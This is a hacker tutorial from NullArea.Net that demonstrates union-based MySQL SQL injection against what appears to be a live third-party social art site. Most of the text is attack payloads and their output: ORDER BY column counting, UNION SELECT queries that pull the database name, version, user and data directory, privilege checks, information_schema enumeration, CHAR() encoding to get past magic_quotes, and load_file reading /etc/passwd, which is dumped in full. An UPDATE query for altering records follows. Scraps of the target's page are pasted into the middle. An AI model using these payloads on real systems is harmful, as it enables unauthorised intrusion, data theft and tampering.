

Exploiting Web 2.0 , Real Life SQL INJECTION

Author : AlpHaNiX

contact : AlpHa[AT]Hacker[DOT]BZ

HomePage : NullArea.Net

== summary ==

0x000 - NULL
0x001 - Introduction
0x010 - Global Exploiting
0x011 - Exploiting The Bug
0x101 - Conclusion
0x110 - HelpFull links

0x001 - Introduction :

SQL Injection is a technique allow you to exploit
a web vulnerability to extract content of the database
and show it for the injector thanks to an error while the
request

0x010 - Global Exploiting :

Exploiting The SQL Injection Vulnerabilty

To Exploit This Vulnerabilty You Got to have the following

conditions :

1- Null the query

2- Get The Number of columns

-> To null the query its enough to add something that doesnt

exist in the database

-> To know the number of columns in MySQL you can

use the next command in the query : '+order+by+x--

x is the number of columns you tryna guess :

=> if the page shows normal with no errors this means that

the number you entered is < than real number of columns

=> if the page show and error this means that

the number you entered is > than real number of columns

now you are wondering how to know the real number of columns

i'll tell you , its the number right before 1st error !

Note : Dont forget the comment :

(-- or /* or # or a null byte %00)

i hope its pretty clear

so build the query like this

=> ' union select 1,2,3--

1,2,3 -> number of columns

in our example the number of columns is 19 :

'+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--

Home | (fluff)Book ▼ | Art ▼ | Shop ▼ | Race ▼ | Gifts ▼ | Friends ▼ | Get Gold ▼ | More ▼ | Help

Top (fluff)Art | Vote on New Art | Get your own (fluff)Friend | My Favorites | Most Favorites | FAQ

(fluff)Art by Mandy Boyton (fluff)Book Share this (fluff)Art!

"11"
 Featured by [private]
 View all (fluff)Art by [private]

Share this (fluff)Art!
 Created: Thu, 1 Jan 1970 0:00 GMT
 ★ 13 votes
 Link to this (fluff)Art
 Image broken? Refresh
 You must be logged in to (fluff)Friends to vote on (fluff)Art.

7

Comments on "11"
 There are no posts.

The number of the infected column

Looking for more (fluff)Art? [Vote on the new submissions](#)

xx - now lets get basic infos about this database

=> DataBase Name

-> you can get the version of the db with 'database()'

' union select 1,2,3,4,5,6,7,database(),9,10,11,12,13,14,15,16,17,18,19--

fluff2

The database is called "fluff2"

=> DataBase Version

-> you can get the version of the db with 'version()'

' union select 1,2,3,4,5,6,7,version(),9,10,11,12,13,14,15,16,17,18,19--

5.0.67-log

The database Version is "5"

=> DataBase UserName

-> you can get the version of the db with 'user()'

```
' union select 1,2,3,4,5,6,7,user(),9,10,11,12,13,14,15,16,17,18,19--
```

muu@192.168.1.164

The database username is "muu"

=> DataBase Location

-> you can get the version of the db with '@@datadir'

```
' union select 1,2,3,4,5,6,7,@@datadir,9,10,11,12,13,14,15,16,17,18,19--
```

/var/lib/mysql/

The database is located in **"/var/lib/mysql/"**

xxx - Get your privileges !

Let's Try any priv's (select,update,file etc...)

```
' union select 1,2,3,4,5,6,7,update_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user--
```

```
' union select 1,2,3,4,5,6,7,file_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user--
```

```
' union select 1,2,3,4,5,6,7,select_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user--
```

it seems that nothing is allowed !

N

well , since our user is muu lets try to see our priv's while our user = muu

```
' union select 1,2,3,4,5,6,7,select_priv,9,10,11,12,13,14,15,16,17,18,19 from mysql.user where user=CHAR(109, 117, 117)--
```

we can see we got full priv's now :P

Y

0x011 - Exploiting The Bug :

let's try now to get the database content and use it !

=> uploading a file !

to upload any file magic_quotes got to be set 'OFF'

-> what the fuck is magic_quotes ?

Magic_Quotes is a feature in php Made to help coders

and developers to avoid falling in SQL injections vulnerabilitys

and its going to be removed in PHP6 !

Well , in Our FaceBook Magic_Quotes Are set 'ON'

we cannot use into outfile to upload a File .!

=> Getting DB content :

to read content of a specific column , you must use the following

```
' union select 1,2,3,4,5,6,7,column,9,10,11,12,13,14,15,16,17,18,19 from table--
```

column -> its your wanted column to read

table -> its the table where the wanted column located

Now you wonder , You dont know column names or table names ,

how to do ?

since its V5 The database it got to have information_schema inside

so let's exploit information_schema :

-> Get Tables :

```
' union select
1,2,3,4,5,6,7,concat(table_name,0x7c,table_schema,0x7c),9,10,11,12,13,14,15,16,17,
18,19 FROM information_schema.tables--
```

```
user|mysql|
```

Like you See It's showing the name of the table | database

but only one table appears ! what to do to show to rest ?

change concat into group_concat ; the xplt like this :

```
' union select
1,2,3,4,5,6,7,group_concat(table_name,0x7c,table_schema,0x7c),9,10,11,12,13,14,15,
16,17,18,19 FROM information_schema.tables--
```

```
CHARACTER_SETS|information_schema|,COLLATIONS|information_schema|,COLLATION_CHARACTER_SET_APPLICAB
```

well its showing some more :D

but this is not all

lets try something different !

add after our current explt LIMIT 1 OFFSET 44--

```
' union select
1,2,3,4,5,6,7,concat(table_name,0x7c,table_schema,0x7c),9,10,11,12,13,14,15,16,17,
18,19 FROM information_schema.tables LIMIT 1 OFFSET 44--
```

and Change the '44' to another number and it will show another table

Now you wonder how to get table columns ?!

Alright , you can get table columns from information_schema.columns like the following

```
from+information_schema.columns+where+table_name="table_name"
```

so in our explt it will became like this :

```
' union select 1,2,3,4,5,6,7,column_name,9,10,11,12,13,14,15,16,17,18,19 FROM information_schema.columns where tabe_name='info'--
```

since Magic_Quotes are setten 'ON' we must convert table name to ASCII

```
' union select 1,2,3,4,5,6,7,column_name,9,10,11,12,13,14,15,16,17,18,19 FROM information_schema.columns where tabe_name=CHAR(105, 110, 102, 111)--
```

time

Bingo ! this is one column

to show the others use 'limit 1 offset'

You can see content of any column =)

For Now lets try to look for specific table or specific column !

you can get it using

```
' union select 1,2,3,4,5,6,7,column_name,9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where column_name like time--
```

Note : time is the column wanted to look for

and dont forget to change the column to ASCII cuz magic_quotes on

```
' union select 1,2,3,4,5,6,7,column_name,9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where column_name like CHAR(116, 105, 109, 101)--
```

To see other infos of the column concatinate 'column_name' with table_schema and table_name

```
' union select 1,2,3,4,5,6,7,concat(column_name,0x7c,table_schema,0x7c,table_name),9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where column_name like CHAR(116, 105, 109, 101)--
```

time|fluff2|unlock_id

Bingo ! You can see column , db , table , and look for any column ,

pretty easy ? isn't :D

=> Reading Any File content :

since we have file loading privileges , we can load any file

in the server (must have right permissions) and show it !

```
' union select 1,2,3,4,5,6,7,load_file(/etc/passwd),9,10,11,12,13,14,15,16,17,18,19
from mysql.user where user=muu--
```

and convert to ascii

```
' union select 1,2,3,4,5,6,7,load_file(CHAR(47, 101, 116, 99, 47, 112, 97, 115, 115,
119, 100)),9,10,11,12,13,14,15,16,17,18,19 from mysql.user where user=CHAR(109,
117, 117)--
```

```
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var
/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:
/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var
/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP
User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
ntp:x:38:38:/:etc/ntp:/sbin/nologin rpm:x:37:37:/:var/lib/rpm:
/sbin/nologin haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:
/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
postfix:x:89:89:/:var/spool/postfix:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
mailnull:x:47:47:/:var/spool/mqueue:/sbin/nologin
smmsp:x:51:51:/:var/spool/mqueue:/sbin/nologin
mailman:x:41:41:GNU Mailing List Manager:/usr/lib/mailman:
/sbin/nologin webalizer:x:67:67:Webalizer:/var/www/usage:
/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:
/sbin/nologin nfsnobody:x:4294967294:4294967294:Anonymous NFS
User:/var/lib/nfs:/sbin/nologin pcap:x:77:77:/:var/arpwatch:
/sbin/nologin mseg0:x:500:500:/:home/mseg0:/bin/bash
rack:x:501:501:/:home/rack:/bin/bash xfs:x:43:43:X Font Server:/etc
/X11/fs:/sbin/nologin
```

here we loaded '/etc/passwd' file , i would like to

get the shadow but i dont have root priv's xD

=> Updating the database :

since we got update privilege we can change value

of any field in the db !

update querry is like the following :

```
' update table_name set column_name='new value' where column_name='value'
where user=muu
```

never forget to convert to ascii xD

0x101 - Conclusion :

SQL injections are vulnerable in 60% of scripts , and its realy important

to learn how to protect our selves from it to make more secure scripts

0x110 - Helpfull Links :

<http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/>

<http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/>

<http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/>

Be Safe

./AlpHaNiX

from NullArea.Net

